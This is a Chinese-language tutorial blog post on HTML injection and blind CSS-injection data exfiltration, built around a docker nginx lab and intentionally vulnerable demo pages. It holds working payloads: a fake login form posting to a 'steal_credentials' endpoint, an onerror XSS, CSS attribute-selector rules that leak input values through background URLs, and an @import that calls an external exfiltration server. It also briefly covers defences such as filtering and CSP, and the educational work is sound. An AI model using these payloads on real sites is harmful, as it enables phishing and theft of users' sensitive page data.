从CSS注入到渗透未知网页

本文主要是介绍从CSS注入到渗透未知网页，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

简介

这篇文章中，分享一个技巧。通过CSS注入盲打用户前端页面敏感数据

需要的前提：存在CSS注入漏洞的环境

理论最高危害：1 click用户接管

环境记录

采取docker-compose 部署

部署nginx-docker

mkdir nginx_test
cd nginx_test
touch docker-compose.yml
mkdir -p nginx/conf.d
touch nginx/conf.d/default.conf

docker-compose.yml

version: '3'
services:nginx:image: nginx:latestports:- "80:80"volumes:- ./nginx/conf.d:/etc/nginx/conf.d- ./html:/usr/share/nginx/html

nginx/conf.d default.conf

server {listen 80;server_name localhost;location / {root /usr/share/nginx/html;index index.html index.htm;}
}

mkdir html
html/index.html<h1>Hello, Docker Compose with Nginx!</h1>

docker 启动

docker-compose up -d

从html注入开始

HTML注入攻击是一种网络攻击，攻击者将恶意HTML代码注入到Web应用程序中，操控页面的显示和行为。这种攻击通常用来进行钓鱼、会话劫持或跨站脚本（XSS）攻击。

一个demo

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>HTML Injection Vulnerability Example</title><style>body {font-family: Arial, sans-serif;}.container {max-width: 600px;margin: 50px auto;padding: 20px;border: 1px solid #ccc;box-shadow: 0 0 10px rgba(0,0,0,0.1);}.result {margin-top: 20px;padding: 10px;border: 1px solid #ccc;background-color: #f9f9f9;}</style>
</head>
<body><div class="container"><h1>HTML Injection Vulnerability Example</h1><form id="htmlForm"><label for="htmlInput">Enter your HTML:</label><br><textarea id="htmlInput" name="htmlInput" rows="10" cols="50"></textarea><br><br><button type="submit">Submit</button></form><div class="result" id="result"><p>This is a sample text to demonstrate HTML injection.</p></div></div><script>document.getElementById('htmlForm').addEventListener('submit', function(e) {e.preventDefault();const htmlInput = document.getElementById('htmlInput').value;document.getElementById('result').innerHTML = htmlInput;});</script>
</body>
</html>

注入恶意HTML

<h2>Injected Heading</h2>
<p>This is an injected paragraph.</p>

点击Submit按钮即可

钓鱼攻击

注入一个伪造的登录表单，诱骗用户输入敏感信息：

<form action="http://127.0.0.1/steal_credentials" method="POST"><label for="username">Username:</label><br><input type="text" id="username" name="username"><br><label for="password">Password:</label><br><input type="password" id="password" name="password"><br><br><button type="submit">Login</button>
</form>

xss攻击

<img src=1 href=1 onerror="javascript:alert(1)"></img>

防护措施

这部分简单概述

输入过滤

document.getElementById('htmlForm').addEventListener('submit', function(e) {e.preventDefault();let htmlInput = document.getElementById('htmlInput').value;htmlInput = htmlInput.replace(/</g, "<").replace(/>/g, ">");document.getElementById('result').innerHTML = htmlInput;
});

纯文本输入，前端不解析

document.getElementById('htmlForm').addEventListener('submit', function(e) {e.preventDefault();const htmlInput = document.getElementById('htmlInput').value;const textNode = document.createTextNode(htmlInput);const resultDiv = document.getElementById('result');resultDiv.innerHTML = '';resultDiv.appendChild(textNode);
});

使用安全库和框架
CSP策略消减漏洞危害Content-Security-Policy: default-src 'self';

CSS注入

靶场页面

一个简单的demo，允许用户输入CSS代码，并将其应用于页面。

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>CSS Injection Vulnerability Example</title><style>body {font-family: Arial, sans-serif;}.container {max-width: 600px;margin: 50px auto;padding: 20px;border: 1px solid #ccc;box-shadow: 0 0 10px rgba(0,0,0,0.1);}.result {margin-top: 20px;padding: 10px;border: 1px solid #ccc;background-color: #f9f9f9;}</style>
</head>
<body><div class="container"><h1>CSS Injection Vulnerability Example</h1><form id="cssForm"><label for="cssInput">Enter your CSS:</label><br><textarea id="cssInput" name="cssInput" rows="10" cols="50"></textarea><br><br><button type="submit">Apply CSS</button></form><div class="result" id="result"><p>This is a sample text to demonstrate CSS injection.</p><p>Modify the CSS to change the appearance of this text.</p></div></div><script>document.getElementById('cssForm').addEventListener('submit', function(e) {e.preventDefault();const cssInput = document.getElementById('cssInput').value;const styleElement = document.createElement('style');styleElement.textContent = cssInput;document.head.appendChild(styleElement);});</script>
</body>
</html>

输入简单的CSS代码，如p { color: red; }，然后点击“Apply CSS”，观察页面样式的变化

尝试输入恶意CSS代码，例如：
body { background-image: url('https://www.baidu.com/img/doodlegaokaokaohou_5b0f886d182bfd1761854cb4dfa72fa8.gif'); }

防范措施(概述)

输入过滤
- 对用户输入的CSS代码进行严格的检查，避免注入恶意代码。
- 只允许安全的CSS属性和值。

CSP策略同样有效
用户输入不作为css格式解析

从CSS注入到页面数据外带(正文)

相比于传统的html注入，CSS注入通常是指通过注入恶意CSS代码来操纵页面样式，而不是直接执行JavaScript。想对于危害较低
一般需要结合其他漏洞进行组合利用

body {background-image: url('javascript:alert("CSS Injection")');
}

利用页面中未过滤的用户输入，通过注入恶意CSS代码，操控页面样式或进行间接攻击

需要注意的是，本文只讨论只允许CSS样式注入从而带来的安全问题，同样适用于当找到一个html注入漏洞，但是由于网站CSP防护或者存在DOMPurify等防护机制，无法通过漏洞执行js的情况

基础知识

利用css变量触发请求

这里要注意的是：如果我们想窃取受害者敏感数据，那么需要向外部发起网络请求从而数据外带

举一个例子(当输入的值等于"password"时，则通过此种方式发起http请求从而达到数据外带的目的)

<!DOCTYPE html>
<html lang="en">
<input value=password>
<style>
input[value="password"] {background: url(/collectData?value=password);
}
/* 如果不，则设置背景为百度 */input {background:url('https://www.baidu.com/img/doodlegaokaokaohou_5b0f886d182bfd1761854cb4dfa72fa8.gif');
}
</style>
</html>

css的一些语法(属性选择器)

存在属性选择器

a[target] {color: orange;
}

值等于选择器

a[target="_blank"] {color: pink;
}

值包含选择器

a[title~="example"] {color: purple;
}

值以指定字符开头选择器

a[href^="https"] {color: cyan;
}

值以指定字符结尾选择器

a[href$=".pdf"] {color: brown;
}

值包含子串选择器

a[href*="example"] {color: teal;
}

插入一个demo，方便理解

<style>
input[value^="a"] {color:red;
}
input[value$="f"] {
color:green;
}
</style>
<input value=abc>
<input value=def>

使用属性选择器提取数据

当前，这就十分好理解了，定义了一个名为--starts-with-a的变量，并将该变量分配给输入的背景图像

<style>
input[value^="a"] {--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */input{background: var(--starts-with-a,none);
}
</style>
<input value=abc>
<input value=def>

截至到现在，还有一些限制，

<style>
input[value^="a"] {--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */input{background: var(--starts-with-a,none);
}
</style>
<input type=hidden value=abc>
<input value=def>

比如当input设置为hidden属性时，则无法找到元素进而发起数据外带

css的一些语法(属性选择器)

继续挖掘一些css的语法

has选择器

:has() 选择器是CSS Selectors Level 4 中的一个提案，用于选择包含特定后代元素的父元素。它的语法形式为 :has(selector)，其中 selector 是一个CSS选择器，表示要匹配的后代元素。

继续还是上一个例子

<style>
html:has(input[value^="a"]) {--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */input{background: var(--starts-with-a,none);
}
</style>
<html>
<input type=hidden value=abc>
<input value=def>
</html>

注意，这块我在input加了父html节点，因为has是需要父亲找子节点的，实际中的网站我们关注的数据几乎一定会有父节点
多说一句：has选择器是需要浏览器进行支持的，可能较老的浏览器无法支持，本文章才用的浏览器版本为

在开发中，可以用Polyfill库进行代替(和文章中的安全关系较弱，只是多说一句)

not选择器

在CSS中，:not() 选择器允许你选择除了指定选择器之外的所有元素。它的语法形式为 :not(selector)，其中 selector 是一个CSS选择器，表示不希望匹配的元素，其实就是和has相反

比如上个例子中，只取abc 不取 def则

<style>
html:has(input[value^="a"]):not(input[name="def"]) {--starts-with-a:url(/startsWithA);
}
/* 如果没有a开头，则none不会发送请求 */input{background: var(--starts-with-a,none);
}
</style>
<html>
<input type=hidden value=abc>
<input value=def>
</html>

脚本开发&工具部署

正如sql注入中的布尔盲注，需要写一个脚本，笔者感觉和sql注入盲注类似，又或者ssrf盲注的思想
@import css语法

在CSS中，@import 规则用于引入外部样式表文件，使得可以将一个CSS文件嵌入到另一个CSS文件中。这种方式可以帮助组织和管理样式表，使得代码结构更加清晰和模块化。

有了css的import，那么我们就可以写脚本进行数据提取了，这部分参考garethheyes大佬写的工具https://github.com/hackvertor/blind-css-exfiltration

环境部署

node css-exfiltrator-server.js

一个demo

<div id="academyLabHeader"><section class='academyLabBanner'><div class=container><div class=logo></div><div class=title-container><h2>Access control unprotected admin functionality</h2><a class=link-back href='https://portswigger.net'>Back&nbsp;to&nbsp;lab&nbsp;description&nbsp;<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow><g><polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon><polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon></g></svg></a></div><div class='widgetcontainer-lab-status is-notsolved'><span>LAB</span><p>Not solved</p><span class=lab-status-icon></span></div></div></div></section>
</div>
<div theme=""><section class="maincontainer"><div class="container is-page"><header class="navigation-header"><section class="top-links"><a href=/>Home</a><p>|</p><a href="/my-account">My account</a><p>|</p></section></header><header class="notification-header"></header><section><h1>Users</h1><div><span>wiener - </span><a href="/administrator-panel/delete?username=wiener">Delete</a></div><div><span>carlos - </span><a href="/administrator-panel/delete?username=carlos">Delete</a></div></section><br><hr></div></section><div class="footer-wrapper"></div><style>@import 'https://xxxxx/blind-css-exfiltration/start';    
</style>